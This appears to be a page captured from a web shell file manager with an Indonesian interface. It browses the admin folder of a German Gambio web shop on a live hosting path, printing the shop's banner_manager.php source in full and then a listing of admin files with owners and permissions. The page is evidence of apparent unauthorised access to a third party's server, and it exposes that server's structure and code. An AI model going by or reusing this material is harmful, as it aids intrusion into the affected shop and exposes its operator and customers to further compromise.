WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / admin / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/admin/banner_manager.php (25.85 KB)
<?php
/* --------------------------------------------------------------
   banner_manager.php 2008-08-10 gambio
   Gambio OHG
   http://www.gambio.de
   Copyright (c) 2008 Gambio OHG
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on: 
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(banner_manager.php,v 1.70 2003/03/22); www.oscommerce.com 
   (c) 2003	 nextcommerce (banner_manager.php,v 1.9 2003/08/18); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: banner_manager.php 1030 2005-07-14 20:22:32Z novalis $)

   Released under the GNU General Public License 
   --------------------------------------------------------------*/

  require('includes/application_top.php');

  $banner_extension = xtc_banner_image_extension();

  if ($_GET['action']) {
    switch ($_GET['action']) {
      case 'setflag':
        if ( ($_GET['flag'] == '0') || ($_GET['flag'] == '1') ) {
          xtc_set_banner_status($_GET['bID'], $_GET['flag']);
          $messageStack->add_session(SUCCESS_BANNER_STATUS_UPDATED, 'success');
        } else {
          $messageStack->add_session(ERROR_UNKNOWN_STATUS_FLAG, 'error');
        }

        xtc_redirect(xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . (int)$_GET['bID']));
        break;
      case 'insert':
      case 'update':
        $banners_id = xtc_db_prepare_input($_POST['banners_id']);
        $banners_title = xtc_db_prepare_input($_POST['banners_title']);
        $banners_url = xtc_db_prepare_input($_POST['banners_url']);
        $new_banners_group = xtc_db_prepare_input($_POST['new_banners_group']);
        $banners_group = (empty($new_banners_group)) ? xtc_db_prepare_input($_POST['banners_group']) : $new_banners_group;
        $html_text = xtc_db_prepare_input($_POST['html_text']);
        $banners_image_local = xtc_db_prepare_input($_POST['banners_image_local']);
        $banners_image_target = xtc_db_prepare_input($_POST['banners_image_target']);
        $db_image_location = '';

        $banner_error = false;
        if (empty($banners_title)) {
          $messageStack->add(ERROR_BANNER_TITLE_REQUIRED, 'error');
          $banner_error = true;
        }

        if (empty($banners_group)) {
          $messageStack->add(ERROR_BANNER_GROUP_REQUIRED, 'error');
          $banner_error = true;
        }

        if (empty($html_text)) {
          if (!$banners_image = &xtc_try_upload('banners_image', DIR_FS_CATALOG_IMAGES.'banner/' . $banners_image_target) && $_POST['banners_image_local'] == '') {
            $banner_error = true;
          }
        }

        if (!$banner_error) {
          $db_image_location = (xtc_not_null($banners_image_local)) ? $banners_image_local : $banners_image_target . $banners_image->filename;
          $sql_data_array = array('banners_title' => $banners_title,
                                  'banners_url' => $banners_url,
                                  'banners_image' => $db_image_location,
                                  'banners_group' => $banners_group,
                                  'banners_html_text' => $html_text);

          if ($_GET['action'] == 'insert') {
            $insert_sql_data = array('date_added' => 'now()',
                                      'status' => '1');
            $sql_data_array = xtc_array_merge($sql_data_array, $insert_sql_data);
            xtc_db_perform(TABLE_BANNERS, $sql_data_array);
            $banners_id = xtc_db_insert_id();
            $messageStack->add_session(SUCCESS_BANNER_INSERTED, 'success');
          } elseif ($_GET['action'] == 'update') {
            xtc_db_perform(TABLE_BANNERS, $sql_data_array, 'update', 'banners_id = \'' . $banners_id . '\'');
            $messageStack->add_session(SUCCESS_BANNER_UPDATED, 'success');
          }

          if ($_POST['expires_date']) {
            $expires_date = xtc_db_prepare_input($_POST['expires_date']);
            list($day, $month, $year) = explode('/', $expires_date);

            $expires_date = $year .
                            ((strlen($month) == 1) ? '0' . $month : $month) .
                            ((strlen($day) == 1) ? '0' . $day : $day);

            xtc_db_query("update " . TABLE_BANNERS . " set expires_date = '" . xtc_db_input($expires_date) . "', expires_impressions = null where banners_id = '" . $banners_id . "'");
          } elseif ($_POST['impressions']) {
            $impressions = xtc_db_prepare_input($_POST['impressions']);
            xtc_db_query("update " . TABLE_BANNERS . " set expires_impressions = '" . xtc_db_input($impressions) . "', expires_date = null where banners_id = '" . $banners_id . "'");
          }

          if ($_POST['date_scheduled']) {
            $date_scheduled = xtc_db_prepare_input($_POST['date_scheduled']);
            list($day, $month, $year) = explode('/', $date_scheduled);

            $date_scheduled = $year .
                              ((strlen($month) == 1) ? '0' . $month : $month) .
                              ((strlen($day) == 1) ? '0' . $day : $day);

            xtc_db_query("update " . TABLE_BANNERS . " set status = '0', date_scheduled = '" . xtc_db_input($date_scheduled) . "' where banners_id = '" . $banners_id . "'");
          }

          xtc_redirect(xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $banners_id));
        } else {
          $_GET['action'] = 'new';
        }
        break;
      case 'deleteconfirm':
        $banners_id = xtc_db_prepare_input($_GET['bID']);
        $delete_image = xtc_db_prepare_input($_POST['delete_image']);

        if ($delete_image == 'on') {
          $banner_query = xtc_db_query("select banners_image from " . TABLE_BANNERS . " where banners_id = '" . xtc_db_input($banners_id) . "'");
          $banner = xtc_db_fetch_array($banner_query);
          if (is_file(DIR_FS_CATALOG_IMAGES . $banner['banners_image'])) {
            if (is_writeable(DIR_FS_CATALOG_IMAGES . $banner['banners_image'])) {
              unlink(DIR_FS_CATALOG_IMAGES . $banner['banners_image']);
            } else {
              $messageStack->add_session(ERROR_IMAGE_IS_NOT_WRITEABLE, 'error');
            }
          } else {
            $messageStack->add_session(ERROR_IMAGE_DOES_NOT_EXIST, 'error');
          }
        }

        xtc_db_query("delete from " . TABLE_BANNERS . " where banners_id = '" . xtc_db_input($banners_id) . "'");
        xtc_db_query("delete from " . TABLE_BANNERS_HISTORY . " where banners_id = '" . xtc_db_input($banners_id) . "'");

        if ( (function_exists('imagecreate')) && ($banner_extension) ) {
          if (is_file(DIR_FS_CATALOG . 'cache/banner_infobox-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
            if (is_writeable(DIR_FS_CATALOG . 'cache/banner_infobox-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
              unlink(DIR_FS_CATALOG . 'cache/banner_infobox-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension);
            }
          }

          if (is_file(DIR_FS_CATALOG . 'cache/banner_yearly-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
            if (is_writeable(DIR_FS_CATALOG . 'cache/banner_yearly-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
              unlink(DIR_FS_CATALOG . 'cache/banner_yearly-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension);
            }
          }

          if (is_file(DIR_FS_CATALOG . 'cache/banner_monthly-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
            if (is_writeable(DIR_FS_CATALOG . 'cache/banner_monthly-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
              unlink(DIR_FS_CATALOG . 'cache/banner_monthly-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension);
            }
          }

          if (is_file(DIR_FS_CATALOG . 'cache/banner_daily-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
            if (is_writeable(DIR_FS_CATALOG . 'cache/banner_daily-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension)) {
              unlink(DIR_FS_CATALOG . 'cache/banner_daily-' . $banners_id . '-' . FileLog::get_secure_token() .  '.' . $banner_extension);
            }
          }
        }

        $messageStack->add_session(SUCCESS_BANNER_REMOVED, 'success');

        xtc_redirect(xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page']));
        break;
    }
  }
?>
<!doctype html public "-//W3C//DTD HTML 4.01 Transitional//EN">
<html <?php echo HTML_PARAMS; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $_SESSION['language_charset']; ?>"> 
<title><?php echo TITLE; ?></title>
<link rel="stylesheet" type="text/css" href="includes/stylesheet.css">
<script type="text/javascript"><!--
function popupImageWindow(url) {
  window.open(url,'popupImageWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=100,height=100,screenX=150,screenY=150,top=150,left=150')
}
//--></script>
</head>
<body marginwidth="0" marginheight="0" topmargin="0" bottommargin="0" leftmargin="0" rightmargin="0" bgcolor="#FFFFFF">
<div id="spiffycalendar" class="text"></div>
<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); ?>
<!-- header_eof //-->

<!-- body //-->
<table border="0" width="100%" cellspacing="2" cellpadding="2">
  <tr>
    <td class="columnLeft2" width="<?php echo BOX_WIDTH; ?>" valign="top"><table border="0" width="<?php echo BOX_WIDTH; ?>" cellspacing="1" cellpadding="1" class="columnLeft">
<!-- left_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_left.php'); ?>
<!-- left_navigation_eof //-->
    </table></td>
<!-- body_text //-->
    <td class="boxCenter" width="100%" valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="2">
      <tr>
        <td width="100%">
			<div class="pageHeading" style="background-image:url(images/gm_icons/hilfsprogr1.png)"><?php echo HEADING_TITLE; ?></div>
		</td>
      </tr>
<?php
  if ($_GET['action'] == 'new') {
    $form_action = 'insert';
    if ($_GET['bID']) {
      $bID = xtc_db_prepare_input($_GET['bID']);
      $form_action = 'update';

      $banner_query = xtc_db_query("select banners_title, banners_url, banners_image, banners_group, banners_html_text, status, date_format(date_scheduled, '%d/%m/%Y') as date_scheduled, date_format(expires_date, '%d/%m/%Y') as expires_date, expires_impressions, date_status_change from " . TABLE_BANNERS . " where banners_id = '" . xtc_db_input($bID) . "'");
      $banner = xtc_db_fetch_array($banner_query);

      $bInfo = new objectInfo($banner);
    } elseif ($_POST) {
      $bInfo = new objectInfo($_POST);
    } else {
      $bInfo = new objectInfo(array());
    }

    $groups_array = array();
    $groups_query = xtc_db_query("select distinct banners_group from " . TABLE_BANNERS . " order by banners_group");
    while ($groups = xtc_db_fetch_array($groups_query)) {
      $groups_array[] = array('id' => $groups['banners_group'], 'text' => $groups['banners_group']);
    }
?>
<link rel="stylesheet" type="text/css" href="includes/javascript/spiffyCal/spiffyCal_v2_1.css">
<script type="text/javascript" src="includes/javascript/spiffyCal/spiffyCal_v2_1.js"></script>
<script type="text/javascript">
  var dateExpires = new ctlSpiffyCalendarBox("dateExpires", "new_banner", "expires_date","btnDate1","<?php echo $bInfo->expires_date; ?>",scBTNMODE_CUSTOMBLUE);
  var dateScheduled = new ctlSpiffyCalendarBox("dateScheduled", "new_banner", "date_scheduled","btnDate2","<?php echo $bInfo->date_scheduled; ?>",scBTNMODE_CUSTOMBLUE);
</script>
      <tr>
        <td><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
      </tr>
      <tr><?php echo xtc_draw_form('new_banner', FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&action=' . $form_action, 'post', 'enctype="multipart/form-data"'); if ($form_action == 'update') echo xtc_draw_hidden_field('banners_id', $bID); ?>
        <td><table border="0" cellspacing="0" cellpadding="2" class="gm_border dataTableRow">
          <tr>
            <td class="main"><?php echo TEXT_BANNERS_TITLE; ?></td>
            <td class="main"><?php echo xtc_draw_input_field('banners_title', $bInfo->banners_title, '', true); ?></td>
          </tr>
          <tr>
            <td class="main"><?php echo TEXT_BANNERS_URL; ?></td>
            <td class="main"><?php echo xtc_draw_input_field('banners_url', $bInfo->banners_url); ?></td>
          </tr>
          <tr>
            <td class="main" valign="top"><?php echo TEXT_BANNERS_GROUP; ?></td>
            <td class="main"><?php echo xtc_draw_pull_down_menu('banners_group', $groups_array, $bInfo->banners_group) . TEXT_BANNERS_NEW_GROUP . '<br />' . xtc_draw_input_field('new_banners_group', '', '', ((sizeof($groups_array) > 0) ? false : true)); ?></td>
          </tr>
          <tr>
            <td colspan="2"><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
          </tr>
          <tr>
            <td class="main" valign="top"><?php echo TEXT_BANNERS_IMAGE; ?></td>
            <td class="main"><?php echo xtc_draw_file_field('banners_image') . ' ' . TEXT_BANNERS_IMAGE_LOCAL . '<br />' . DIR_FS_CATALOG_IMAGES.'banner/' . xtc_draw_input_field('banners_image_local', $bInfo->banners_image); ?></td>
          </tr>
          <tr>
            <td colspan="2"><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
          </tr>
          <tr>
            <td class="main"><?php echo TEXT_BANNERS_IMAGE_TARGET; ?></td>
            <td class="main"><?php echo DIR_FS_CATALOG_IMAGES.'banner/' . xtc_draw_input_field('banners_image_target'); ?></td>
          </tr>
          <tr>
            <td colspan="2"><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
          </tr>
          <tr>
            <td valign="top" class="main"><?php echo TEXT_BANNERS_HTML_TEXT; ?></td>
            <td class="main"><?php echo xtc_draw_textarea_field('html_text', 'soft', '60', '5', $bInfo->banners_html_text); ?></td>
          </tr>
          <tr>
            <td colspan="2"><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
          </tr>
          <tr>
            <td class="main"><?php echo TEXT_BANNERS_SCHEDULED_AT; ?><br /><small>(dd/mm/yyyy)</small></td>
            <td valign="top" class="main"><script type="text/javascript">dateScheduled.writeControl(); dateScheduled.dateFormat="dd/MM/yyyy";</script></td>
          </tr>
          <tr>
            <td valign="top" class="main"><?php echo TEXT_BANNERS_EXPIRES_ON; ?><br /><small>(dd/mm/yyyy)</small></td>
            <td class="main"><script type="text/javascript">dateExpires.writeControl(); dateExpires.dateFormat="dd/MM/yyyy";</script><?php echo TEXT_BANNERS_OR_AT . '<br />' . xtc_draw_input_field('impressions', $bInfo->expires_impressions, 'maxlength="7" size="7"') . ' ' . TEXT_BANNERS_IMPRESSIONS; ?></td>
          </tr>
          <tr>
            <td colspan="2"><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
          </tr>
          <tr>
            <td colspan="2" class="main" align="left">
			<?php echo TEXT_BANNERS_BANNER_NOTE . '<br />' . TEXT_BANNERS_INSERT_NOTE . '<br />' . TEXT_BANNERS_EXPIRCY_NOTE . '<br />' . TEXT_BANNERS_SCHEDULE_NOTE; ?>
			</td>
          </tr>
          <tr>
            <td colspan="2" class="main" align="right">
			<?php echo (($form_action == 'insert') ? '<input style="float:right" type="submit" class="button" onClick="this.blur();" value="' . BUTTON_INSERT . '"/>' : '<input style="float:right" type="submit" class="button" onClick="this.blur();" value="' . BUTTON_UPDATE . '"/>'). '<a style="float:right" class="button" onClick="this.blur();" href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $_GET['bID']) . ' style="float:right">' . BUTTON_CANCEL . '</a>'; ?>
			</td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td><?php echo xtc_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
      </tr>
        </table></td>
      </form></tr>
<?php
  } else {
?>
      <tr>
        <td><table border="0" width="100%" cellspacing="0" cellpadding="0">
          <tr>
            <td valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="2">
              <tr class="dataTableHeadingRow">
                <td class="dataTableHeadingContent"><?php echo TABLE_HEADING_BANNERS; ?></td>
                <td class="dataTableHeadingContent" align="right"><?php echo TABLE_HEADING_GROUPS; ?></td>
                <td class="dataTableHeadingContent" align="right"><?php echo TABLE_HEADING_STATISTICS; ?></td>
                <td class="dataTableHeadingContent" align="right"><?php echo TABLE_HEADING_STATUS; ?></td>
                <td class="dataTableHeadingContent" align="right"><?php echo TABLE_HEADING_ACTION; ?>&nbsp;</td>
              </tr>
<?php
    $banners_query_raw = "select banners_id, banners_title, banners_image, banners_group, status, expires_date, expires_impressions, date_status_change, date_scheduled, date_added from " . TABLE_BANNERS . " order by banners_title, banners_group";
    $banners_split = new splitPageResults($_GET['page'], '20', $banners_query_raw, $banners_query_numrows);
    $banners_query = xtc_db_query($banners_query_raw);
    while ($banners = xtc_db_fetch_array($banners_query)) {
      $info_query = xtc_db_query("select sum(banners_shown) as banners_shown, sum(banners_clicked) as banners_clicked from " . TABLE_BANNERS_HISTORY . " where banners_id = '" . $banners['banners_id'] . "'");
      $info = xtc_db_fetch_array($info_query);

      if (((!$_GET['bID']) || ($_GET['bID'] == $banners['banners_id'])) && (!$bInfo) && (substr($_GET['action'], 0, 3) != 'new')) {
        $bInfo_array = xtc_array_merge($banners, $info);
        $bInfo = new objectInfo($bInfo_array);
      }

      $banners_shown = ($info['banners_shown'] != '') ? $info['banners_shown'] : '0';
      $banners_clicked = ($info['banners_clicked'] != '') ? $info['banners_clicked'] : '0';

      if ( (is_object($bInfo)) && ($banners['banners_id'] == $bInfo->banners_id) ) {
        echo '              <tr class="dataTableRowSelected" onmouseover="this.style.cursor=\'hand\'" onclick="document.location.href=\'' . xtc_href_link(FILENAME_BANNER_STATISTICS, 'page=' . $_GET['page'] . '&bID=' . $bInfo->banners_id) . '\'">' . "\n";
      } else {
        echo '              <tr class="dataTableRow" onmouseover="this.className=\'dataTableRowOver\';this.style.cursor=\'hand\'" onmouseout="this.className=\'dataTableRow\'" onclick="document.location.href=\'' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $banners['banners_id']) . '\'">' . "\n";
      }
?>
                <td class="dataTableContent"><?php echo '<a href="javascript:popupImageWindow(\'' . FILENAME_POPUP_IMAGE . '?banner=' . $banners['banners_id'] . '\')">' . xtc_image(DIR_WS_IMAGES . 'icon_popup.gif', 'View Banner') . '</a>&nbsp;' . $banners['banners_title']; ?></td>
                <td class="dataTableContent" align="right"><?php echo $banners['banners_group']; ?></td>
                <td class="dataTableContent" align="right"><?php echo $banners_shown . ' / ' . $banners_clicked; ?></td>
                <td class="dataTableContent" align="right">
<?php
      if ($banners['status'] == '1') {
        echo xtc_image(DIR_WS_IMAGES . 'icon_status_green.gif', 'Active', 10, 10) . '&nbsp;&nbsp;<a href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $banners['banners_id'] . '&action=setflag&flag=0') . '">' . xtc_image(DIR_WS_IMAGES . 'icon_status_red_light.gif', 'Set Inactive', 10, 10) . '</a>';
      } else {
        echo '<a href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $banners['banners_id'] . '&action=setflag&flag=1') . '">' . xtc_image(DIR_WS_IMAGES . 'icon_status_green_light.gif', 'Set Active', 10, 10) . '</a>&nbsp;&nbsp;' . xtc_image(DIR_WS_IMAGES . 'icon_status_red.gif', 'Inactive', 10, 10);
      }
?></td>
                <td class="dataTableContent" align="right"><?php echo '<a href="' . xtc_href_link(FILENAME_BANNER_STATISTICS, 'page=' . $_GET['page'] . '&bID=' . $banners['banners_id']) . '">' . xtc_image(DIR_WS_ICONS . 'statistics.gif', ICON_STATISTICS) . '</a>&nbsp;'; if ( (is_object($bInfo)) && ($banners['banners_id'] == $bInfo->banners_id) ) { echo xtc_image(DIR_WS_IMAGES . 'icon_arrow_right.gif', ''); } else { echo '<a href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $banners['banners_id']) . '">' . xtc_image(DIR_WS_IMAGES . 'icon_info.gif', IMAGE_ICON_INFO) . '</a>'; } ?>&nbsp;</td>
              </tr>
<?php
    }
?>
              <tr>
                <td colspan="5"><table border="0" width="100%" cellspacing="0" cellpadding="2">
                  <tr>
                    <td class="smallText" valign="top"><?php echo $banners_split->display_count($banners_query_numrows, '20', $_GET['page'], TEXT_DISPLAY_NUMBER_OF_BANNERS); ?></td>
                    <td class="smallText" align="right"><?php echo $banners_split->display_links($banners_query_numrows, '20', MAX_DISPLAY_PAGE_LINKS, $_GET['page']); ?></td>
                  </tr>
                  <tr>
                    <td align="right" colspan="2"><?php echo '<a class="button" onClick="this.blur();" href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'action=new') . '">' . BUTTON_NEW_BANNER . '</a>'; ?></td>
                  </tr>
                </table></td>
              </tr>
            </table></td>
<?php
  $heading = array();
  $contents = array();
  switch ($_GET['action']) {
    case 'delete':
      $heading[] = array('text' => '<b>' . $bInfo->banners_title . '</b>');

      $contents = array('form' => xtc_draw_form('banners', FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $bInfo->banners_id . '&action=deleteconfirm'));
      $contents[] = array('text' => TEXT_INFO_DELETE_INTRO);
      $contents[] = array('text' => '<br /><b>' . $bInfo->banners_title . '</b>');
      if ($bInfo->banners_image) $contents[] = array('text' => '<br />' . xtc_draw_checkbox_field('delete_image', 'on', true) . ' ' . TEXT_INFO_DELETE_IMAGE);
      $contents[] = array('align' => 'center', 'text' => '<br /><div align="center"><input type="submit" class="button" onClick="this.blur();" value="' . BUTTON_DELETE . '"/><a class="button" onClick="this.blur();" href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $_GET['bID']) . '">' . BUTTON_CANCEL . '</a></div>');
      break;
    default:
      if (is_object($bInfo)) {
        $heading[] = array('text' => '<b>' . $bInfo->banners_title . '</b>');
		$contents[] = array ('align' => 'center', 'text' => '<div style="padding-top: 5px; font-weight: bold; ">' . TEXT_MARKED_ELEMENTS . '</div><br />');           
        $contents[] = array('align' => 'center', 'text' => '<div align="center"><a class="button" onClick="this.blur();" href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $bInfo->banners_id . '&action=new') . '">' . BUTTON_EDIT . '</a><a class="button" onClick="this.blur();" href="' . xtc_href_link(FILENAME_BANNER_MANAGER, 'page=' . $_GET['page'] . '&bID=' . $bInfo->banners_id . '&action=delete') . '">' . BUTTON_DELETE . '</a></div>');
        $contents[] = array('text' => '<br />' . TEXT_BANNERS_DATE_ADDED . ' ' . xtc_date_short($bInfo->date_added));

        if ( (function_exists('imagecreate')) && ($banner_extension) ) {
          $banner_id = $bInfo->banners_id;
          $days = '3';
          include(DIR_WS_INCLUDES . 'graphs/banner_infobox.php');
          $contents[] = array('align' => 'center', 'text' => '<br />' . xtc_image(DIR_WS_CATALOG . 'cache/banner_infobox-' . $banner_id . '-' . FileLog::get_secure_token() . '.' . $banner_extension));
        } else {
          include(DIR_WS_FUNCTIONS . 'html_graphs.php');
          $contents[] = array('align' => 'center', 'text' => '<br />' . xtc_banner_graph_infoBox($bInfo->banners_id, '3'));
        }

        $contents[] = array('text' => xtc_image(DIR_WS_IMAGES . 'graph_hbar_blue.gif', 'Blue', '5', '5') . ' ' . TEXT_BANNERS_BANNER_VIEWS . '<br />' . xtc_image(DIR_WS_IMAGES . 'graph_hbar_red.gif', 'Red', '5', '5') . ' ' . TEXT_BANNERS_BANNER_CLICKS);

        if ($bInfo->date_scheduled) $contents[] = array('text' => '<br />' . sprintf(TEXT_BANNERS_SCHEDULED_AT_DATE, xtc_date_short($bInfo->date_scheduled)));

        if ($bInfo->expires_date) {
          $contents[] = array('text' => '<br />' . sprintf(TEXT_BANNERS_EXPIRES_AT_DATE, xtc_date_short($bInfo->expires_date)));
        } elseif ($bInfo->expires_impressions) {
          $contents[] = array('text' => '<br />' . sprintf(TEXT_BANNERS_EXPIRES_AT_IMPRESSIONS, $bInfo->expires_impressions));
        }

        if ($bInfo->date_status_change) $contents[] = array('text' => '<br />' . sprintf(TEXT_BANNERS_STATUS_CHANGE, xtc_date_short($bInfo->date_status_change)));
      }
      break;
  }

  if ( (xtc_not_null($heading)) && (xtc_not_null($contents)) ) {
    echo '            <td width="25%" valign="top">' . "\n";

    $box = new box;
    echo $box->infoBox($heading, $contents);

    echo '            </td>' . "\n";
  }
?>
          </tr>
        </table></td>
      </tr>
<?php
  }
?>
    </table></td>
<!-- body_text_eof //-->
  </tr>
</table>
<!-- body_eof //-->

<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); ?>
<!-- footer_eof //-->
<br />
</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>
namawaktuukuranownerpermaksi
..
backups/ 2025-01-28 22:35109 B 76129f60960:kundendxwrx-rx-r
gm/ 2013-11-12 20:533.67 MB 76129f60960:kundendxwrx-rx-r
images/ 2013-11-12 20:54728.74 KB 76129f60960:kundendxwrx-rx-r
includes/ 2013-11-12 20:549.48 MB 76129f60960:kundendxwrx-rx-r
sync4/ 2013-11-12 20:5313 B 76129f60960:kundendxwrx-rx-r
templates/ 2013-11-12 20:5491.42 KB 76129f60960:kundendxwrx-rx-r
yoochoose/ 2013-11-12 20:54592.85 KB 76129f60960:kundendxwrx-rx-r
accounting.php 2013-11-12 20:528.29 KB 76129f60960:kunden-xw-x-----
edt
backup.php 2013-11-12 20:5226.38 KB 76129f60960:kunden-xw-x-----
edt
banner_manager.php 2013-11-12 20:5325.85 KB 76129f60960:kunden-xw-x-----
edt
banner_statistics.php 2013-11-12 20:528.07 KB 76129f60960:kunden-xw-x-----
edt
billsafe_orders_2.php 2013-11-12 20:5340.46 KB 76129f60960:kunden-xw-x-----
edt
billsafe_print_order_2.php 2013-11-12 20:5213.06 KB 76129f60960:kunden-xw-x-----
edt
blacklist.php 2013-11-12 20:5211.53 KB 76129f60960:kunden-xw-x-----
edt
brickfox.php 2013-11-12 20:535.46 KB 76129f60960:kunden-xw-x-----
edt
campaigns.php 2013-11-12 20:5210.85 KB 76129f60960:kunden-xw-x-----
edt
categories.php 2013-11-12 20:5218.53 KB 76129f60960:kunden-xw-x-----
edt
clear_cache.php 2013-11-12 20:528.46 KB 76129f60960:kunden-xw-x-----
edt
configuration.php 2013-11-12 20:5316.61 KB 76129f60960:kunden-xw-x-----
edt
content_manager.php 2013-11-12 20:5252.29 KB 76129f60960:kunden-xw-x-----
edt
content_preview.php 2013-11-12 20:522.61 KB 76129f60960:kunden-xw-x-----
edt
countries.php 2013-11-12 20:5215.68 KB 76129f60960:kunden-xw-x-----
edt
coupon_admin.php 2013-11-12 20:5250.67 KB 76129f60960:kunden-xw-x-----
edt
create_account.php 2013-11-12 20:5228.53 KB 76129f60960:kunden-xw-x-----
edt
credits.php 2013-11-12 20:526.97 KB 76129f60960:kunden-xw-x-----
edt
cross_sell_groups.php 2013-11-12 20:5213.02 KB 76129f60960:kunden-xw-x-----
edt
csv_backend.php 2013-11-12 20:5219.86 KB 76129f60960:kunden-xw-x-----
edt
currencies.php 2013-11-12 20:5217.6 KB 76129f60960:kunden-xw-x-----
edt
customers.php 2013-11-12 20:5258.49 KB 76129f60960:kunden-xw-x-----
edt
customers_status.php 2013-11-12 20:5336.57 KB 76129f60960:kunden-xw-x-----
edt
econda.php 2013-11-12 20:526.31 KB 76129f60960:kunden-xw-x-----
edt
ekomi.php 2013-11-12 20:5214.11 KB 76129f60960:kunden-xw-x-----
edt
fck_wrapper.php 2013-11-12 20:52501 B 76129f60960:kunden-xw-x-----
edt
filelist.txt 2013-11-12 20:52268.55 KB 76129f60960:kunden-xw-x-----
edt
geo_zones.php 2013-11-12 20:5223.69 KB 76129f60960:kunden-xw-x-----
edt
gm_analytics.php 2013-11-12 20:524.9 KB 76129f60960:kunden-xw-x-----
edt
gm_backup_files_zip.php 2013-11-12 20:5211.35 KB 76129f60960:kunden-xw-x-----
edt
gm_bookmarks.php 2013-11-12 20:524.26 KB 76129f60960:kunden-xw-x-----
edt
gm_bookmarks_action.php 2013-11-12 20:522.46 KB 76129f60960:kunden-xw-x-----
edt
gm_counter.php 2013-11-12 20:535.28 KB 76129f60960:kunden-xw-x-----
edt
gm_counter_action.php 2013-11-12 20:521.8 KB 76129f60960:kunden-xw-x-----
edt
gm_ebay.php 2013-11-12 20:528.85 KB 76129f60960:kunden-xw-x-----
edt
gm_emails.php 2013-11-12 20:5312.16 KB 76129f60960:kunden-xw-x-----
edt
gm_emails_preview.php 2013-11-12 20:525.95 KB 76129f60960:kunden-xw-x-----
edt
gm_feature_control.php 2013-11-12 20:5324.84 KB 76129f60960:kunden-xw-x-----
edt
gm_gmotion.php 2013-11-12 20:528.11 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint.php 2013-11-12 20:523.56 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_categories.php 2013-11-12 20:527.63 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_configuration.php 2013-11-12 20:527.58 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_edit.php 2013-11-12 20:5219.55 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_overview.php 2013-11-12 20:524.69 KB 76129f60960:kunden-xw-x-----
edt
gm_guestbook.php 2013-11-12 20:529.43 KB 76129f60960:kunden-xw-x-----
edt
gm_id_starts.php 2013-11-12 20:527.96 KB 76129f60960:kunden-xw-x-----
edt
gm_invoicing.php 2013-11-12 20:5212.14 KB 76129f60960:kunden-xw-x-----
edt
gm_janolaw.php 2013-11-12 20:524.48 KB 76129f60960:kunden-xw-x-----
edt
gm_lang_edit.php 2013-11-12 20:524.24 KB 76129f60960:kunden-xw-x-----
edt
gm_lightbox.php 2013-11-12 20:524.69 KB 76129f60960:kunden-xw-x-----
edt
gm_logo.php 2013-11-12 20:525.28 KB 76129f60960:kunden-xw-x-----
edt
gm_logo_action.php 2013-11-12 20:531.11 KB 76129f60960:kunden-xw-x-----
edt
gm_meta.php 2013-11-12 20:523.63 KB 76129f60960:kunden-xw-x-----
edt
gm_meta_action.php 2013-11-12 20:522.91 KB 76129f60960:kunden-xw-x-----
edt
gm_miscellaneous.php 2013-11-12 20:5228.65 KB 76129f60960:kunden-xw-x-----
edt
